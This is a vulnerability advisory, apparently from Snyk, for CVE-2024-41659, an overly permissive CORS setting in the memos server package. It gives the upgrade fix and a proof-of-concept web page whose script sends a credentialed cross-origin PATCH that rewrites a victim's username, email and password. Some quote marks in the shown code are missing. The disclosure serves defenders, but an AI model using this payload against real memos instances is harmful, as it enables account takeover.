Overly Permissive CORS Affecting github.com/usememos/memos/server package, versions <0.22.0
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-GOLANG-GITHUBCOMUSEMEMOSMEMOSSERVER-7723931
- published 21 Aug 2024
- disclosed 20 Aug 2024
- credit Kevin Stubbings
Introduced: 20 Aug 2024
CVE-2024-41659 Open this link in a new tabHow to fix?
Upgrade github.com/usememos/memos/server to version 0.22.0 or higher.
Overview
Affected versions of this package are vulnerable to Overly Permissive CORS via the server.go configuration. An attacker can read private information or make privileged changes to the system as the vulnerable user account by making a cross-origin request with improper CORS settings.
PoC
This proof of concept works exclusively with Firefox due to changes in third party cookies policies in all recent browsers.
<body>
<p>Click here to login.</p>
<div id="response"></div>
<script>
const url = 'https://demo.usememos.com/api/v1/user';
document.addEventListener("DOMContentLoaded", () => {
document.onclick = () => {
open(url);
const requestBody = {
rowStatus: "NORMAL", // Replace with the desired row status
username: "test", // Replace with the desired username
email: "test@gmail.com", // Replace with the desired email
nickname: "", // Replace with the desired nickname
password: "password", // Replace with the desired password
avatarUrl: "" // Replace with the desired avatar URL
};
// Sending the request
let userID = 101;
fetch(https://demo.usememos.com/api/v1/user/{userID}, {
method: 'PATCH',
headers: {
'Content-Type': 'application/json'
},
credentials: "include",
body: JSON.stringify(requestBody)
})
.then(response => {
if (!response.ok) {
throw new Error(HTTP error! Status: ${response.status});
}
return response.json();
})
.then(data => {
console.log('Updated user:', data);
})
.catch(error => {
console.error('Error updating user:', error);
});
}
});
</script>
</body>